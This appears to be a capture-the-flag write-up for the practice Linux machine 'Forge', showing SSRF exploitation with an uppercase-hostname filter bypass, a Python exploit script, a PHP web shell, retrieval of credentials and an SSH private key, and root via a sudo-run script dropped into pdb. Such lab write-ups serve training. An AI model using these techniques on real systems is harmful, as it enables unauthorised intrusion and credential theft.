Skip to content

Forge (Linux Medium)#

Forge info card

Forge is a medium-rated Linux machine by NoobHacker99. We'll exploit two Server-Side Request FORGEry vulnerabilities to gain access to an internal-only FTP server with an ssh private key for access to the machine. To gain root, we'll break a Python script and use the Python debugger to execute a shell.

Reconnaissance#

An initial nmap scan shows only 3 ports open: 21, 22, and 80:

# nmap -v -n -p- -Pn -sS -O -oA forge-alltcp 10.10.11.111

Nmap scan report for 10.10.11.111
Host is up (0.048s latency).
Not shown: 65532 closed ports
PORT   STATE    SERVICE
21/tcp filtered ftp
22/tcp open     ssh
80/tcp open     http

The FTP service is listed as filtered, most likely by an iptables rule to block traffic not from the local host.

Scanning the services doesn't reveal much either:

# nmap -n -v -p 22,80 -sCV -Pn -oA forge-services 10.10.11.111

Nmap scan report for 10.129.204.175
Host is up (0.035s latency).

PORT   STATE    SERVICE VERSION
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
|   256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_  256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open     http    Apache httpd 2.4.41
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://forge.htb
Service Info: Host: 10.129.204.175; OS: Linux; CPE: cpe:/o:linux:linux_kernel

The OpenSSH and apache versions indicate this is likely an Ubuntu 20.04 machine. The redirect to http://forge.htb is noteworthy, indicating we should check for other named-based virtual hosts on the web server. My preferred tool for this is wfuzz:

$ wfuzz -z file,/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H 'Host: FUZZ.forge.htb' http://10.10.11.111
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.111/
Total requests: 19966

=====================================================================
ID           Response   Lines    Word       Chars       Payload                              
=====================================================================

000000001:   302        9 L      26 W       279 Ch      "www"                                
000000012:   302        9 L      26 W       279 Ch      "ns2"                                
000000011:   302        9 L      26 W       279 Ch      "ns1"                                
000000014:   302        9 L      26 W       286 Ch      "autoconfig"                         
000000003:   302        9 L      26 W       279 Ch      "ftp"
^C

I'll run an initial fuzz to see how the web server responds, then run it again and filter out the negative results. In this instance, we can filter out responses with a word count of 26 words:

$ wfuzz -c -z file,/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H 'Host: FUZZ.forge.htb' --hw 26 http://10.10.11.111
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.111/
Total requests: 19966

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000024:   200        1 L      4 W        27 Ch       "admin"
000009532:   400        12 L     53 W       425 Ch      "#www"
000010581:   400        12 L     53 W       425 Ch      "#mail"

Total time: 83.94768
Processed Requests: 19966
Filtered Requests: 19963
Requests/sec.: 237.8386

wfuzz shows there is a website at http://admin.forge.htb as well.

After adding 10.10.11.111 forge.htb admin.forge.htb to /etc/hosts, we can view the site in a browser:

forge.htb initial page

The 'Upload an image' link takes us to a web form where we can either upload a file from our local machine, or input an URL that the server will use to download an image for us.

forge.htb upload page

If not implemented correctly, this type of service can be abused to access resources that might not be directly accessible.

Attemping to access the admin site is unsuccessful, but does provide a valuable clue: we can access the site from requests sent from the local machine.

forge.htb admin page

That gives us our path forward: finding a way to coerce the upload function into sending requests to the services on the local machine that are blocked to outside requests.

Foothold#

We'll begin with attempting to learn how the upload function behaves. We can start a netcat listener on a port, then put our IP address in the upload function to see whether the site will attempt to contact us:

$ nc -vnlp 8008
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::8008
Ncat: Listening on 0.0.0.0:8008

forge.htb upload request

Upon submitting the request, we get a response in our netcat listener:

$ nc -vnlp 8008                                                                                      
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::8008
Ncat: Listening on 0.0.0.0:8008
Ncat: Connection from 10.10.11.111.
Ncat: Connection from 10.10.11.111:51044.
GET /pugpug HTTP/1.1
Host: 10.10.14.8:8008
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

^C

By starting a Python web server, we can see how the application behaves when we send a valid file:

$ cat pug.php
<?php echo "<pre>"; system($_GET[cmd]); ?>

$ python3 -m http.server 8008
Serving HTTP on 0.0.0.0 port 8008 (http://0.0.0.0:8008/) ...
10.10.11.111 - - [22/Jan/2022 15:46:07] "GET /pug.php HTTP/1.1" 200 -

forge.htb upload valid request

We see in the response from the web server that it saves our data to a random filename:

forge.htb upload valid request

Fetching the URL returns the content of the transferred file:

$ curl http://forge.htb/uploads/9q7dl5j6hFE25xaSgSwV
<?php echo "<pre>"; system($_GET[cmd]); ?>

User#

As we'll be poking at the website to determine how to leverage the SSRF vulnerability, I'll write a quick script to quickly send requests to the server and fetch the results. While it's possible to perform this either through the browser or via an attack proxy such as Burp, my preference is to create scripts to make the process easier.

#!/usr/bin/env python3

# Exploit the SSRF vulnerability on forge.htb to retrieve data from
# internal services.
#
# Joe Ammond (pugpug)

import requests
from cmd import Cmd
from bs4 import BeautifulSoup

url = 'http://forge.htb/upload'

# Abuse the SSRF on the main site
def fetch(args):

    data = {
        'url': args,
        'remote': '1'
    }

    # POST request
    r = requests.post(url, data=data)

    # Parse initial response, find href to upload URL, get it. Finding the
    # uploaded URL is ugly. We wrap it in a try/except in case we hit the
    # filter or the the request fails.
    soup = BeautifulSoup(r.text, 'html.parser')
    try:
        data = soup.find_all('strong')[1].text
    except:
        return r.text

    r = requests.get(data)

    return r.text

class Term(Cmd):
    prompt = 'url> '

    def default(self, args):
        print(fetch(args))

if __name__ == '__main__':
    term = Term()
    term.cmdloop()

The upload function accepts an HTTP POST request, with two required parameters: url, the URL for the server to process, and remote, which is set to 1 to specify a remote file. We send the entered URL to the upload service and process the results. If the request is successful, we parse out the URL where the data has been written to, fetch it and return the content. In the event of a failed request, we return the response from the POST to see any errors. Running the script and entering the same URL as the screenshot above shows the script is working:

$ python3 ssrf-base.py
url> http://10.10.14.8:8008/pug.php
<?php echo "<pre>"; system($_GET[cmd]); ?>

url>

Attemping to access either the admin site or the FTP server results in errors:

url> http://admin.forge.htb
...
        <center>
            <strong>URL contains a blacklisted address!</strong>
        </center>
...

url> ftp://127.0.0.1/
...
        <center>
            <strong>Invalid protocol! Supported protocols: http, https</strong>
        </center>
...

After trying some different filter bypass techniques, on a whim I attempted entering the hostname in uppercase. Success:

url> http://ADMIN.FORGE.HTB
<!DOCTYPE html>
<html>
<head>
    <title>Admin Portal</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br><br>
    <br><br><br><br>
    <center><h1>Welcome Admins!</h1></center>
</body>
</html>

The /announcements URL gives us the next part of getting to user:

url> http://ADMIN.FORGE.HTB/announcements
...
        <li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
        <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
        <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=&lt;url&gt;.</li>
...

Attemping to use the credentials to access the machine via SSH fails:

$ ssh user@forge.htb
user@forge.htb: Permission denied (publickey).

However, it looks like we can use the SSRF vulnerability on the main page to access the /upload URL on the admin site, which may give us access to the internal FTP server. We can modify the fetch() function to route any URLs through the admin site:

# Abuse the SSRF on the main site, routing the request to admin.forge.htb,
# as the admin site accepts more request types.
def fetch(args):

    data = {
        'url': 'http://ADMIN.FORGE.HTB/upload?u={}'.format(args),
        'remote': '1'
    }

    # POST request
    r = requests.post(url, data=data)

    # Parse initial response, find href to upload URL, get it. Finding the
    # uploaded URL is ugly. We wrap it in a try/except in case we hit the
    # filter or the the request fails.
    soup = BeautifulSoup(r.text, 'html.parser')
    try:
        data = soup.find_all('strong')[1].text
    except:
        return r.text

    r = requests.get(data)

    # Parse the second page returned, to see whether the request from
    # admin was successful.
    soup = BeautifulSoup(r.text, 'html.parser')
    try:
        data = soup.find_all('strong')[1].text
    except:
        # We couldn't parse it as HTML, so return the text directly
        return r.text

    # We got a second link in the returned page, so fetch it and return
    # the content.
    r = requests.get(data)

    return r.text

After modifying the script, we can see whether the /upload function on the admin site has any additional functionality. Attempting a file:/// URL shows that in addition to HTTP and HTTPS, we can now access FTP and FTPS URLs as well:

$ python ssrf.py
url> file:///etc/passwd
Invalid protocol! Supported protocols: http, https, ftp, ftps.

url>

We can access the internal FTP server using the credentials provided and grab user.txt:

url> ftp://user:heightofsecurity123!@FORGE.HTB/
drwxr-xr-x    3 1000     1000         4096 Aug 04 19:23 snap
-rw-r-----    1 0        1000           33 Jan 22 20:07 user.txt

url> ftp://user:heightofsecurity123!@FORGE.HTB/user.txt
737124c79df00af1e2bec4...

url> 

The snap directory is an indication that we have accessed the home directory of the user account. Since we know we can't use password authentication with SSH, we can look for a .ssh directory, which may contain a private key:

url> ftp://user:heightofsecurity123!@FORGE.HTB/.ssh/
-rw-------    1 1000     1000          564 May 31  2021 authorized_keys
-rw-------    1 1000     1000         2590 May 20  2021 id_rsa
-rw-------    1 1000     1000          564 May 20  2021 id_rsa.pub

url> ftp://user:heightofsecurity123!@FORGE.HTB/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAnZIO+Qywfgnftqo5as+orHW/w1WbrG6i6B7Tv2PdQ09NixOmtHR3
rnxHouv4/l1pO2njPf5GbjVHAsMwJDXmDNjaqZfO9OYC7K7hr7FV6xlUWThwcKo0hIOVuE
...

url>

Saving the private key allows us to SSH in as user:

$ ssh -i user-id_rsa user@forge.htb
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)

...

Last login: Fri Aug 20 01:32:18 2021 from 10.10.14.6
user@forge:~$

Root#

Running sudo -l shows us our path to root:

user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on forge:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py
user@forge:~$ 

The Python script is straightforward:

#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\n')
    else:
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
                clientsock.send(subprocess.getoutput('df').encode())
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
                clientsock.send(b'Bye\n')
                break
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)
finally:
    quit()

The script picks a random high port and listens it for an incoming connection. If the user enters the password secretadminpassword, a menu is presented to run various utilities: ps, df, and ss. The main body of the script is wrapped in a try/except block to catch any exceptions, calling the Python debugger pdb if one occurs. If we can cause an exception, we'll gain access to pdb running as root. The easiest location to do this would be in this call here:

option = int(clientsock.recv(1024).strip())

Entering a non-integer will raise a ValueError exception and dump us into the debugger. By running the script in one shell session, connecting to it in a second, and entering a string into the prompt, we see the pdb debugger in the first session:

user@forge:~$ nc localhost 43320
Enter the secret passsword: secretadminpassword
Welcome admin!

What do you wanna do:
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit
pugpug
user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:43320
invalid literal for int() with base 10: b'pugpug'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb)

The second shell hangs while pdb is running, but we can easily now spawn a shell as root from pdb:

(Pdb) import os
(Pdb) os.system('/bin/bash')
root@forge:/home/user# cat /root/root.txt
8b4a2fb64e2fa7602574...
root@forge:/home/user#

Final thoughts#

I enjoyed this box. The path to root was straightforward and felt like a realistic scenario that I might encounter in the real world.

-- pugpug